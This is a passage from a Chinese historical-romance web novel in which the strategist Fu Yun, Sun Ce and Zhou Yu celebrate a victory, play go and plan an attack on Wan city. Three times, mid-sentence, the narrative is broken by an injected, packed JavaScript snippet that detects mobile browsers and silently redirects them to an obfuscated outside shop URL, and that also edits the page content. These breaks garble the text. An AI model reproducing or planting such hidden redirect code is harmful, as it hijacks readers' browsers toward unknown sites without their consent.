“关键是百姓全都涌来了,老的、少的、抱娃的、扶病的,全挤到城下。那画面,啧,感天动地。我看陆康心都软了,想不开门都难!” “将士还在死撑,大喊‘府君不可开门’。结果你猜怎么着?”孙策笑得差点岔气,“我听见人群里,有人起哄大喊:‘请府君!开城门!’” 伏韫一愣,脱口而出:“……周公子?” 孙策眼神一亮:“就是瑜弟!他混在人堆里喊得比谁都起劲,我差点没忍住笑场。” 他说着还拍了拍胸口,好似把笑硬生生憋回去。 伏韫低头一笑,不置可否。晨光似乎因此更亮了些。 她本就知道,此计必成。 “嗯。”她轻声应道,唇边弧度恰到好处,“兄长才是今日最大的主角。” 孙策仍在邀功:“那可不!你是没看到陆康那表情,完全没想到我们兵行险招,最后只能不情不愿地开了门。” 伏韫却不再接话,只淡淡岔开:“周公子呢?怎么不见他?” 孙策大咧咧一摆手,漫不经心:“嗨,他还得混在城里装百姓呢。如今风声紧,一时半会儿回不来。” 他说得轻描淡写,落在伏韫心里,却忽然掏空了一角。 那失落来得突兀,她自己也怔了一瞬。她不愿承认这是期待,更不愿承认自己在等他。 一定只是因为,那一夜黑暗里的呼吸与贴近,心跳失序的刹那,擦唇而过的呢喃。 只是意外,只是一时错觉。 可越是驱散,心弦越颤动。 伏韫垂下眼睫,将那份不合时宜的落寞死死压回心底。 她轻轻吐出一口气,拇指扣住指节,仿佛反复确认着某种分寸。 就当是那一夜,从未发生过罢了。 *** 帐外天光已盛,薄雾渐散,营地渐次喧嚷。 伏韫立在帐门前,望见远处军旗猎猎,心头明白战事已定,接下来要面对的,除了内心的起伏,还有这片兵荒马乱中的流言蜚语。 不多时,传令兵急匆匆来报,称孙策请她即刻前往中军大帐。 她眉心微蹙,尚未来得及细问缘由,便已见孙策亲自迎面而来。 “走吧走吧,别装淡定了。”他催促着,神神秘秘一笑,“今天这事儿不解决清楚,你想低调也不成。” 伏韫不明就里,只能随他步入大帐。 只见营内将佐毕集,三位老将如松魁梧,伫立在最前,神色肃然;其后列阵其中的皆是营中有名有姓的劲卒。另一边甚至有几位女眷,不仅有孙策之母吴夫人,周瑜之母朱夫人,连一些垂髫幼童都被叫来了。 孙策迈步上前,收起往日惯常的嬉皮笑脸,正襟危坐,神色间多了几分威仪。 “诸位,今日将诸位召开,是有一件大事要当众昭告。” 他蓦然一收,环视全场,目光落在那几个曾经起哄大喊“左拥右抱”的几个士卒脸上,语气郑重: “先前因局势紧迫,又因不愿扰乱军心,故而并未告知军中昭晦妹妹的身份,不想惹来更多流言蜚语。” 他目光一顿,余光瞥见几个被点名的士卒已羞得低头,复而启声: “今日水寨既下,家属安定,又有粮草充盈,算是了却一桩心事。如此奇功,并非我一人之谋,全仰赖昭晦妹妹奇策在先。我与瑜弟,不过依计而行,不敢冒领功劳。” 说罢,他抬手指向伏韫,声如洪钟,掷地有声: “她是我亲自请来的军师,亦是我义妹,通晓天数,明识理法,军中今后,当以军师之礼以待,不可因其是女子而轻慢,更不能狂言悖义,令其受辱!” 话音方落,韩当便率先上前一步,拱手朗声道: “老夫眼拙,有眼不识泰山,还望姑娘恕罪。” 他话至一半,忍不住又憨声补了一句:“非老夫介疑女流,实是少主那日一吼,连老夫也听到了……” 孙策在旁“咳”了一声,目光一横。 韩当哈哈一笑,收起玩笑之意,神情一正:“往后若姑娘有需,韩某愿听调遣。” 伏韫颔首回礼,心中微微一动。 旋即,黄盖也上前一步,面容肃然,郑重行礼。 “先前多有失敬,请军师海涵。” 寥寥数语,却笃定如铁,言简意重。 伏韫方要答谢,余光却见程普亦缓步而来。 他礼数周全,态度恭谨,口中称赞“姑娘妙算,佩服之至”。 可就在他低首拱手之际,伏韫敏锐察觉到那眸光一瞬的异样。 那不是敬畏,而是强压的锐利,如日入云层,暗涌翻滚。 伏韫心头猛然一紧,却只能得体回礼。 孙策朗声大笑,豪气冲天:“哈哈!有昭晦妹妹在,我孙策何愁大业不成!” 人群中随即爆发出一阵呼喝,赞叹与附和声此起彼伏。 伏韫唇边挂着一抹若有若无的笑意,将那份不安深深压入心底。 *** 夜幕低垂,水寨火光四起,映得江面如昼。 战事既捷,孙策一声令下,三军狂欢。 大军如脱笼猛虎,一夕无战压身,顷刻间热闹沸腾。有人挽裤入水,打鱼捉虾,笑骂声与水花齐飞。有人进山猎得野兔雉鸡,炊烟与兽骨一路高举。 鼓点、哨声、吆喝、调笑声,层层叠叠,如翻沸的汤锅,滚遍营地。 “今晚不醉不归!”孙策扯开嗓子吼,将士们欢呼雷动。 伏韫却独坐临水的长案旁。 面前两壶清酒,一尾烤鱼未动。火光照着她的侧影,将眉眼映得越发清冷,如这喧嚣之外独守的一湾静水。 她的目光,始终落在孙策身上。 他立于主帐前的临时高台,被万众簇拥,发丝凌乱,手持酒壶,笑得飞扬跋扈。举手投足间,尽是少年得志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070164|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疏狂与锋芒。 伏韫原以为热闹不过如此,却不料,那位姑娘,又来了。 就是前些日子闹得营中人尽皆知的姑娘。 她换了一袭浅绿色襦裙,鬓边插着野花,手中捧着一只精致香囊,红绳流苏,玲珑可爱。 “喏。”姑娘将香囊递到孙策手里,脸泛红,却咬定语气:“是我亲手做的。” 众人哄然: “这回该收下了吧!” “少主,收不收啊?收不收啊?” “啧啧,那针脚,一看就是绣了半月。” “姑娘还能再做香囊吗?咱要不要先报个名!” 孙策大笑着挠头:“咳,这个,这个……” 他手刚碰到香囊,欢笑声便更大,几乎要把夜空都震碎。 他正要打趣,却在余光中瞥见伏韫。 她正举杯而饮,神情平静得近乎无波,仿佛方才一切起哄、香囊、笑语,都未曾入耳。 可那目光,却直直落在他身上。淡淡一瞥,轻描淡写,却似透骨之寒。 孙策微微一怔,随即收回视线,笑容一挑,接过香囊:“姑娘好意,我心领了。” 姑娘脸颊飞红,慌忙福身退下。 人群哄笑再起: “少主今晚要留人咯!” “这是什么?欲迎还拒吗?” 笑语如潮,一浪高过一浪。 伏韫低眉不语,只自斟自饮,一杯续一杯。 她并不觉醉,也并不觉悲,甚至连心空与钝痛这些多余的情绪也没有,只觉得这一场盛大的狂欢如一副色彩浓烈的画,红过火,白过灯,而她只是角落里晕开的一滴墨,不合时宜。 直到酒盅见底,她才方觉头晕昏沉。手撑案几起身,目光一晃,目眩不已,酒意上涌,便索性收盏而归。 她静静绕过喧闹的人群,离开这片欢声笑语的海洋。 身后火光映亮了半边天,鼓声正盛,如挽留她离去。 另半边天,一轮明月高悬,清冷独照,光辉洒在帐顶上、旌旗上,也落在她身上。 她抬头望去,忽然真切地觉得,周瑜就像这轮明月。他总在该出现的时候出现,从不缺席,却也从未靠近。月光皎洁环照,只是柔辉泻地,便令人不加设防,将疲惫与心碎尽数和盘托出。他亦如是,试探、拆解、看透,却从不改变她,不炽热,不喧嚣,只是一束目光,便足以令她心神失宁。 她忽然好想将今夜的烦乱酸涩,乃至那丝不肯承认的委屈,全都告诉他。哪怕只是听他淡淡一句“辛苦了”,哪怕只是与他并肩,在这夜色中静静立一会儿。 可她清楚,他还在城中,不会来。 她缓缓伸手,覆在心口,仿佛要将那些无处倾诉的情绪死死压回去。 然而,那枚香囊的画面却挥之不散。姑娘怯怯上前,孙策接过一笑,众人起哄,而她只能对月空饮。 冷月下,她竟说不清此刻的滋味。是醋意?是苦意?还是其他她不说、可他应当会懂的情绪? 眼底微热,她猛吸一口气,想趁着情绪失控之前,赶紧回到营帐。 她绝不能被人瞧出她的脆弱,更何况,是庆功之日这毫无来由的悲意。 转身瞬间,猝不及防,她撞上一道高大的身影。 伏韫心头一惊,方欲后退,肩头却被一只手稳稳按住。还未来得及辨清,背脊已被轻轻一推,整个人被迫贴上帐外的木柱。 孙策立在她面前,近得几乎能听见胸腔起伏的心跳声。 他抬手撑在她耳畔,低沉的嗓音贴着风声,语调轻慢。 “你今晚,好像一直在看我。” 伏韫怔住,随即偏开脸,避开他直勾勾的注视。 “……只是看你做什么蠢事罢了。” “蠢事?” 他挑眉,身形又逼近半分,几乎将她整个人困在臂弯与木柱之间。 伏韫想退,却无路可退,只得仰眼迎战,直视他的视线。 “兄长这是何意?哪家主帅是这么对待军师的,岂不失礼?” 孙策低低一笑,像听了笑话: “哪家军师酒喝到一半便一声不吭逃走,我来寻你,倒成了我失礼?” 他忽地俯身,眼神直锁住她,“若我真的失礼,你以为,刚才那香囊,我会收得那么慢吗?” 伏韫心头一震,喉头微紧,想开口,却不知该说什么。 孙策却忽而收了锋芒,低笑一声,指尖挑起她额前一缕散发,轻轻别到她耳后。 “我没别的意思,只是想告诉你——” 他懒懒直起身,语气却认真: “你盯着我的时候,我也一直在看你。” 14. 第十四章 晨光斜照,于江面蒸腾。 水寨初定,营中人声鼎沸。伏韫立于高坡之上,俯视兵卒来往,修缮补筑,俨然一副喜气洋洋模样。 但她却与这笑语交织如隔重幕,只因她昨夜,并未安眠。 昨夜孙策骤然逼近、囚她于壁柱之下时,她心底的余震,至今尚未平息。 她不愿细想,自己心中的波澜究竟因何而起,只能逼着自己去想今后的事:重编水寨,清点物资,登记民户台账……忙起来了,心也就定下来了。 她正要转身下坡,听到背后传来士兵的议论: “你听说了吗?周公子回来了。” 伏韫脚步微顿。 晨风拂过,她静立在光与人声之间,呼吸似乎也停了一瞬。 “什么时候的事?” “方才吧。好像是清晨换防的兵在外头看见的,说他与几名士卒一道走小路回来,还穿着百姓衣裳。” 又有人压低声笑:“听说昨夜他在城里演得极像,连陆太守都没认出。” 伏韫垂下眼,收了视线,径自前行。 她没有追问,也没有回头。可在那一瞬,心跳却不由自主地慢了半拍。 回到营帐不久,帘子被掀开。传令兵俯身行礼:“伏姑娘,少主请您往中帐用早膳。” 伏韫眉心一拧:“只唤我一人?” “周公子也在。” 她捏着调拨单的手指微微一紧。片刻,才缓缓放下笔。 “知道了。” 披上外袍,随传令兵往中帐而去。 沿途喧哗不绝,兵士们搬运竹筐柴火,修补帐篷,三三两两议论昨夜之事,笑语阵阵。 伏韫听得恍惚,仿佛被一层无形水幕隔绝,外界热烈声潮尽数隔在远处。 她的心绪反倒沉静下来。 隔着帐帘,伏韫已听见孙策的大嗓门,兴奋几乎压不住: “我说嘛,你太会装了!我昨儿躲在人堆后头都差点笑出来,结果你比我还起劲。” 另一道声音随即响起,低缓温润,话中带笑: “我当时掐着大腿,心道若真笑出声来,怕是功亏一篑了。” 伏韫掀帘入内。 阳光自帐后斜斜照来,在二人之间投下一道淡淡剪影。 孙策端坐上首,手里正把玩着那只香囊盒子,兴致勃勃地比划着。 周瑜已经换下戎装,着一袭青袍,神色淡然,但仍有几分昨日的雀跃余波。 帐中气氛欢快,孙策眉飞色舞地说昨日乃是“天时地利人和”,将庐江全城耍得团团转,这种恶作剧倒令他比打了胜仗还畅快。周瑜低头用膳,偶尔插话,却并不多言。 伏韫落座,与二人颔首致意,目光却在经过周瑜时快速地游移开了,连位置都心虚地选了一个与孙策更近的地方。 孙策见状,更加喜不自胜,将香囊盒子放在案上,语气愈发轻快: “从今天开始,你们都可以叫我伯符了。” 伏韫下意识抬眸,周瑜已开口发问,眉心微不可察地蹙起: “兄长已有表字,那何时行冠礼?我记得兄长生辰尚有半年。” 孙策嘿嘿一笑:“昨夜听我娘说,你的表字是最近拟的,我便求她告诉我表字,知道后便赶紧告诉你们来了。” 话音未落,他忽然偏头望向伏韫,唇角微弯,语气却隐透一丝强势: “昭晦,私下里,你可唤我伯符了。” 伏韫执箸之手一顿,目光不自觉飘向周瑜,却见他瞳孔骤然一缩,仿佛被锋锐之物骤然刺中,但下一息便一闪即逝,神色依旧淡然: “还是等到加冠之日再称也不迟。即便只是私下唤表字,若是被人听取,恐坏了礼数。” 孙策撇嘴哼了一声,又将目光转向伏韫,眼底甚至透着几分占有: “这小孔夫子好生无趣,昭晦,你便唤我伯符吧?” 两道视线,瞬间齐齐落在她身上,一道如火,一道如冰。 她本欲回绝,却不忍拂了孙策一腔炽热意气,话一转,缓缓颔首: “是……伯符。” 孙策笑得愈加张扬,周瑜却未发一言,只饮尽碗中最后一口汤: “无论如何,我唤你兄长总是无碍。” 孙策几乎要翻白眼,但下一秒,又揽过周瑜的肩: “是是是,我们小孔夫子最重礼仪。所谓‘礼不可越,字不可僭’嘛。但是为兄是个粗人,没有那些弯弯绕绕的,今后私下我便唤你公瑾!这字漂亮,跟我义弟一般漂亮,当然得早早唤起来了,你说是不是?” 周瑜被他的逼视弄得哭笑不得,只能拱手称是: “好,便依兄长的,今后我便是‘公瑾’了。” 孙策满意地看了一眼自己座下的二位谋士,颇有一展主公雄风而首战告捷的意味,欣然颔首: “既如此,我便先走一步。水寨有些新收编的士兵,母亲在水寨住下后我也还未问安,得去回一声。” 他脚步爽朗,留下周瑜与伏韫二人。她目送孙策离去,回眸时,猝不及防对上周瑜的直视。 “近日诸事已毕,昭晦,你我许久未曾对弈,不如移步手谈一局?” 伏韫一时不知如何回应。心中被压抑许久的情绪蓦然翻江倒海而上,让她有些无法招架。她以为自己是想去的,但面对周瑜的主动邀约,却莫名生出几分近乡情怯般的避意。 片刻,她才缓缓展颜: “周郎今日雅兴,自当奉陪。” 二人并行而出,往东侧临江的一座竹屋而去。那屋原是旧日的读书所,久无人用,周瑜一来,便整修了一番。如今既可作为棋室,又可作为书房。只是军中大老粗们一仗归来已是满身疲惫,久而久之,常往此处去的,倒只有周瑜与伏韫二人。 窗明几净,白墙素雅。棋盘置于案上,黑白子各入瓷盂之中。 她入座时,周瑜为她斟茶: “昨日庆功宴,想来你饮了不少,恐怕今晨有些头重吧?” 伏韫“嗯”了一声,看向周瑜低垂的眉眼,心头被他这关切的语气,熨帖出几分微澜。 二人猜先定了黑白。周瑜伸手,捻起一枚黑子,于右上角落下,伏韫执白应于左下。开篇循礼,一一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076706|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角。 棋局行至六手,心中别样的情绪又卷土重来。她极力克制,每一步都慎之又慎。但她并不完全沉浸于对弈,更像是一颗心分成了两半,在业火与挣扎中浮沉,越是强自压下,越觉心神不宁。 行至二十手,本该是试探布势的阶段,白子却连连出击。周瑜看着她的手扣着棋盂,几乎是蓄势待发,只等他落下,便要从盂中取子,不假思索。 他看得出来,她在与他并不知道的事困斗。而这件事,一定与孙策忽然转变称呼有关。 终于,她第四次抢攻边角,周瑜早已看出她的杀意,缓缓落子,稳稳将她封堵。 “昭晦,你今日心神不宁。” 伏韫也未看他,只是手中棋子一顿。 他顿了顿,终于抬眸看她,目光温润,语气却有几分淡淡的讥然: “这一局你的杀气很重,不像是你的棋风,倒像是……在学兄长的霸道。” 伏韫心下一跳,不知他为何如此洞若观火,迎着这解剖的目光,整个人几乎透不过气。 周瑜却不放过。他继续端详咀嚼她的神情,似笑非笑: “怎么,你们昨日见面,不止是‘心谈’……” 他手指一点棋盘中孤立无援的白子,意在提醒,言下却似拍刃在她心口: ——“也‘手谈’了吗?” 棋子从伏韫指间滑落,“啪”的一声,偏斜在棋盘上。 周瑜的神色依旧平静,唇角亦挂着温润的笑意,眼底却已有暗潮汹涌,甚至夹了一抹难以压抑的……嫉意。 伏韫心底瞬间浮出一股慌乱。 她当然听出了他双关下的弦外之音,偏偏他的言中令她心虚,连呼吸都乱了半拍。 周瑜并未逼她,伸指拾起那枚落偏的白子,替她复归正位。 “别太急。” 他轻声劝慰,仿佛只在指棋。可伏韫明白,他指的是她。 此后几手,他顺势将她的漏洞慢慢收紧,落子不疾不徐,早已看透她所有肤浅的布局。 眼见大势已去,伏韫最终还是放下手中白子。 “……我认负。” 声音极低,但并无怒意,仿佛解脱,藏了许久的倦意,在此刻终于找到出口。 棋室静默良久。 周瑜并未如往常一般,对她颔首一句“承教”,也未行礼谢手,只是缓缓起身,抖了抖衣袖,动作干净利落。 他手已掀起帘角。风从缝隙灌入,吹得他衣摆微微鼓动。 伏韫看着他颀长的背影,心中莫名泛起一阵失落,正以为他会如此离去时,他却忽然停下。 “你的心一乱,便赢不了我。” 伏韫怔然望去。渐上的日光自帘隙间倾泻,他立于光影之间,神色温润,眼底却如一捧冰雪燃于篝火,晦暗不明。 “所以……不要让他再乱你的心了,好吗?” 言罢,不待她申辩一二,便利落掀帘而出。 伏韫静坐案前,凝望残局,直至坐到面前茶汤渐凉,才终于苦笑一声,像是自嘲。 是啊,这一局,她从一开始便输了。 15. 第十五章 水寨清晨凉意随水雾氤氲而起。伏韫拉开营帐帷幕,林间山雾未散,远处士兵列阵操演,三军尽在庆功的余韵之中。 水寨地势较皖城更近,周瑜便建言将战略目标由舒城转向皖城。他认为皖城士族林立,便于攻心,且舒城乃是庐江郡治,攻破并非一朝一夕之功。孙策从善如流,便下令将营地迁至距离水寨较近处。 她信步水寨附近,便看见孙策立在码头,正与亲兵谈笑。他见是伏韫来了,回望她一眼,目光犹然带着几分张扬的炽热。 伏韫只是垂眸,并不回应,转身便入了大帐偏厅。 炭炉暖香阵阵,早膳已上。孙策与周瑜随后步入。三人围坐,汤碗轻响,案上蒸汽升腾。 伏韫自入席便沉默,未与周瑜有一丝眼神接触,但在几次不经意的抬眸间,她能感到那道目光似乎在她抬眼之前已停驻良久,至瞥开时仍带着一瞬克制的探究,如幽暗潮涌,几欲漫出,却又在刹那被他收束与理智的堤岸。 孙策坐在主位,啃着饼子兴致盎然,全然不觉这桌上伏流汹涌。嚼着嚼着,忽然一拍桌案笑道: “对了,说起来昨天我不是让人送了点米粮去东岸吗,那个姑娘你们还记得吧?就是之前冲到军营里、然后被公瑾安排去了水寨的那个。听说她母亲病势好转,她感激得不行,说要炊些饼子来报答我们。喏,今天桌上这个就是。昭晦,你也尝尝?手艺确实还挺不错的。” 伏韫接过饼,却并不接话,仍是垂眸喝粥。 周瑜语气温淡:“这姑娘有心了。饼的味道还不错,若是兄长也喜欢,可让她再做些,想来她也是很欢喜的。” 孙策并未留意,依旧喋喋,兴致正浓: “还有这几日新入营的小兵里有几个还挺机灵,一个会打鼓,一个会吹笛,改日水寨都能排堂会了!” 笑语未落,他终于觉察出气氛不对。平日他若是提及此类趣闻,伏韫肯定要插科打诨,说自己可以唱山歌,周瑜亦要接话,说自己“吹拉弹唱样样皆可,若是兄长愿意,现在就能办”,可两个人皆眼观鼻鼻观心。 他狐疑地扫了二人一眼,又低头看了一眼已被伏韫吃得一干二净的蜜饯碟,才终于用手肘轻捅周瑜: “喂,你们俩怎么回事?昨天下完棋回来就怪怪的,该不会是还赌钱了吧?军中赌博可是违了军法的……” 话音未落,伏韫手中汤匙“叮”的一声与碗沿相碰,脆得惊人。她抬起头,在今日第一次看向周瑜。 周瑜也看着她,沉静的目光中乍然带出一丝冰凉与审视,被压在水底的情绪在沉默中愈发凛冽。 她知道他在因为自己突然的疏离而迷茫,但她也明白,她并不想向他解释。 是,他回来了。但那又如何?难道还要如昨日棋局一般,被他用三言两语看穿,再被他用那番看似温和实则控制的语气权威一番吗?她昨夜躺在床上,辗转反侧,那点因他归来而泛起的涟漪,被一种更为尖锐的恼怒压了下去,几乎想直接冲到他营帐前质问他:我的心乱不乱,轮得到你指手画脚?连你自己尚且带着莫名的醋意与我下棋,却反而要求我不要心乱?你到底是我什么人? 她心蓦地一颤。是啊,他到底是她的什么人? 这一眼仅仅一瞬,便匆匆错开。 伏韫放下碗筷:“时辰不早了,营中诸将应已到了主帐,我等也该移步。兄长,公子,告辞。” 她起身,袖袍翻飞,步履匆匆,像从三人间的情绪密林中劈开一道出口。 孙策怔了怔,看着她背影远去,才反应过来: “哎——昭晦,你方才怎么又改口叫我兄长?” 周瑜垂下眸子,轻轻一笑,却不言语。 孙策又转向周瑜,兴师问罪道:“喂,我说你们俩在一起怎么总没什么好事,该不会你这次又说了什么不该说的,惹她生气了吧?” 周瑜用几乎只有自己能察觉的幅度,极轻地嗤笑一声,仿佛自嘲:“兄长明鉴,我岂敢对军师不敬。” 孙策见他笑得无辜,只能作罢,心中却不解。 但他别过目光的一瞬,周瑜敛了笑意。光影映着他的侧颜,竟比清晨寒意更冷上三分。 *** 营中将佐陆续入座。孙策、周瑜居首,三位老将依次而列,帐中气氛肃而不拘。 孙策一边掸着战袍上的灰,一边半真半戏地打趣: “军师今日面色不佳,莫不是昨夜没睡好?” 伏韫不动声色,几乎完全无视了孙策的打趣,径自展开手中舆图,垂眸淡声道: “夺下水寨不过初胜,如何攻下舒皖,才是真正胜负之钥。” 众将神色一正。 她开门见山,语气坚定:“我有一计,不伤一兵一卒,便能探知陆康粮草虚实。” 帐中一静。 孙策来了兴趣,放下酒盏,侧身道:“哦?昭晦不妨直言,如何行事?” 伏韫将图卷微展,语气笃定而冷静: “我军即刻分兵,做出猛攻皖城之势,同时散布消息,称我军欲先下皖城,再图舒城。陆康深知唇亡齿寒,见我军攻势猛烈,必会尽快从舒城调拨兵力或粮草前往支援。” 她目光微敛:“一旦他分兵运粮出城,主力必被皖城战事牵制。我们只需设伏于必经之路,拿下那支支援队伍,便可探知其兵力虚实。” 孙策一拍大腿,放声大笑: “好个‘围点打援’,昭晦此策,甚合我意!” 帐中将佐皆露赞许神色,唯有周瑜静静低头,眉宇似有思虑。 众将目光皆落这隅静默之地。片刻后,周瑜抬眸看向伏韫: “此计看似周密,但那位‘仙师’,会按常理出牌吗?若是舒城并不向皖城驰援,又或是敌军看透我们意图,声东击西,军师又当如何?” 孙策疑惑插言:“你是说陆康身边,另有足可与昭晦匹敌的谋士?” 周瑜目光未移,唇角微挑:“若是没有,未免也太无趣了。” 帐内沉默顷刻。 伏韫目光冷淡地扫过他,甚至吝于与他对视,神情收敛: “‘围点打援’不过试探虚实,此计不成,还有后手。但舒城究竟会按兵不动,还是奇谋应对,只靠强攻或缩守,又要待到何时?用兵如弈棋,我不动,敌如何动?” 她虽不过公事公议,却句句带刺,意有所指。周瑜沉默不语,但二人目光交汇的一瞬,伏韫还是在那如深潭的眼神中,读出了一缕几乎无迹的困惑与怅然。 她轻轻吸了一口气,压下心绪:“此计宜速不宜缓,还请少主裁夺。” 孙策已然听得跃跃欲试,当即拍案:“好!此计当行。” 众将亦齐声应诺,计策全票通过。 周瑜并无反驳之意,见状自然顺水推舟,缓缓颔首:“既如此,我来安排人手。” 伏韫眼角微挑,目光轻落于他身上,一瞬即逝。 他最懂她,所以……也总能伤她最深。 *** 议事甫毕,众将鱼贯而出。周瑜转身离去,一言未发。伏韫也未多看他一眼,执卷低首,刻意错开行止。 帐内只余孙策,见二人分道,眸光深处不由得浮起几分思索。但大计方定,比起这等小事,如何策定此后行事,方为要紧。 他正埋头于竹简疾笔,忽有熟悉声音自侧帐外传来:“少主,姑娘来了。说是亲手熬的汤药,听说您前夜咳得厉害……” 孙策抬眸,眉心微皱:“哪位姑娘?” 传令兵小心翼翼:“就是您前几日夸过的‘挺懂事’那位。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091132|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孙策闻言,并不放在心上,继续在竹简上理着方才未尽的头绪: “我今日无心会客,随便找个理由打发走就是。” 那兵卒迟疑了一下,仍硬着头皮道:“姑娘说,药是她熬了一夜……” “我说了没空。”孙策声音倏然一沉,目光冷冽扫来。 传令兵一愣,显然没料到这位向来随和的少主会突然发火。还未回神,又听他冷声再喝: “听不懂命令吗?” 传令兵脸色煞白,噤若寒蝉,急忙低头:“喏!” 孙策挥了挥手,像驱走一只聒噪的苍蝇,继续提笔疾书。方写了两行,又忽然顿住,低声骂了一句: “……咳个什么咳,倒叫人惦记上了。” 他闭上眼,仿佛想将脑内无用的杂绪清理出去,但眼前却不是那香囊姑娘端药的模样,而是伏韫方才立于舆图前,眸光清冽,步步拆解庐江虚实时的神情。 *** 夜已深,中军大帐却灯火通明。案几前舆图摊开,三人分坐三侧,眉峰紧锁。 “苍狼道,三千石,三日后入皖城西门。”孙策掷下密信,冷笑一声,“投石问路,这不就来了?” 周瑜低头沉思,目光未离那几行斥候密报。 伏韫缓缓起身,走至舆图前,凝视城西地势。皖城山水并存,苍狼道蜿蜒其中,地形弯险、两侧林深,正是设伏的绝佳地形。 孙策已按捺不住,摩拳擦掌:“等他粮一进山道,我伏兵倾巢而出,不剥他三层皮,都对不起麾下精兵。” 周瑜尚未开口,伏韫却已回身,神色陡然凝重:“不可。” 孙策一愣:“莫非有诈?” 伏韫手指不自觉捏着下颔,缓缓踱步帐中,又浸入推演之中: “这是陆康背后那位军师给我的战书。第一层,他放出诱饵,引我等在苍狼道设伏,若我贸然应之,反被他设伏所困;第二层,他料我能识破苍狼道的险中藏钩,以为我会调兵至真正的运输路线防堵;第三层,才是他真正的杀意所在。” 她顿住,取过一枚令旗: “他想借这一封‘半真半假’的斥候密报,引我调兵布阵,全局倾力西线。但其实,此处才是他最想守、却以为我最不敢动的地方。” 令旗重重插在舆图另一端东门之处。 孙策半信半疑地盯着那点红色小旗,仍在沉思,周瑜却忽然开口: “若这一切,恰是陆康所愿呢?他是否也算准你会识破局中局,反向而行?若东门空虚是假,我们倾军而去,又当如何?” 帐中气氛一滞。 伏韫一眯双眸,眼神微冷:“周公子,你是在质疑我,还是质疑斥候密报?” 周瑜迎锋不避:“二者皆有。军师果断,但凡事需留后手,况且苍狼道的消息得来太顺,我担心其中有诈。” 伏韫轻笑一声,竟带些讥讽: “审慎与寡断不过一念之间。与其在此推演‘万一’,不如多思量如何将那‘九千’之功落实。况且斥候舍命换来的情报,若因主帅无端猜忌便弃之不用,岂不寒了将士的心?” 孙策无辜地举手挡了挡火药味,干笑两声: “哎哎哎,有话好好说嘛,怎么感觉你俩拐弯抹角,杀敌之前倒先内讧起来了?” 周瑜不语,只是静静看着伏韫的眼,沉默片刻,语气缓和些许:“我并无他意,只是一问。” 孙策站在一旁,本是踌躇满志准备发令,此刻却也不由眉头微蹙,目光在两人之间游移片刻,浮起一丝郑重。 他的手指微微一紧,紧接着又缓缓松开,良久,终于沉声开口: “全军佯动城西,设伏苍狼道,放出风声,说我军全力截粮。我亲率五营精锐,绕道夜行,三日内,攻其东门。” 16. 第十六章 夜色沉沉,皖城外的旷野万籁俱寂。 孙策身披轻甲,迎风而立,回望身后精锐,一张张脸肃立夜风之中,眼神中闪着跃跃欲试的光。 “兄弟们,今夜苦一苦,破了东门,咱就在城头喝酒吃肉。谁先冲上去,我第一个敬他!” 另一个人搭话:“说的是啊!要是擒了敌将,可得让主帅拿出那坛好酒!” 阵阵闷笑在队伍中炸开。孙策在队伍最前,听到众人笑语,回头大笑道:“臭小子们,整天就想着喝酒!真拿下东门,别说一坛酒,我亲自上山给你们打猎,想吃什么,到时候自己点!” “少主,你可得说话算话啊!” “一言既出,岂有反悔之理。但是别怪我丑话说在前面,今晚谁要是怯阵掉了链子,明儿的酒肉没他份!” 众人齐声应喏,因这大摆酒席的诱惑,昂扬的战意几乎要冲破夜色。 孙策神采奕奕,已有必胜之念。他信伏韫的谋略,也信周瑜的策应,更信自己手中这支锐不可当的精兵。 破晓未至,数百精锐已杀至城下。城楼上守军未曾料到这深夜奇袭,惊惶失措,如疾风过野草,吹倒一片。其余士兵负隅顽抗,但箭矢零落,不成章法,东门转瞬失守。 孙策跃马登城,亲军紧随其后。他望着火光下的街巷,守军四散,溃不成军,显然已经胜券在握。耳边欢呼不止,他亦扬眉,颇为满意这幅大作。 一阵夜风忽然拂过后颈,令他一颤,下一瞬,心中突生一缕难以言喻的凉意。 “报——!” 一名斥候飞奔上城楼,气喘如牛:“韩将军所部已抵主街,但被路障层层封锁,我军正在奋力清除!” 路障?这是溃军能在仓促间设下的陷阱? 孙策心中的不安愈发弥散,眉头一点点拧紧。 “太顺利了……”他喃喃了一句,音节一瞬间被夜风卷走。 *** 另一边,大营灯火半灭,一切皆在梦中,酣睡不语。 伏韫却始终无法入眠。尽管躺下,但又裹了衣,在帐中徘徊。 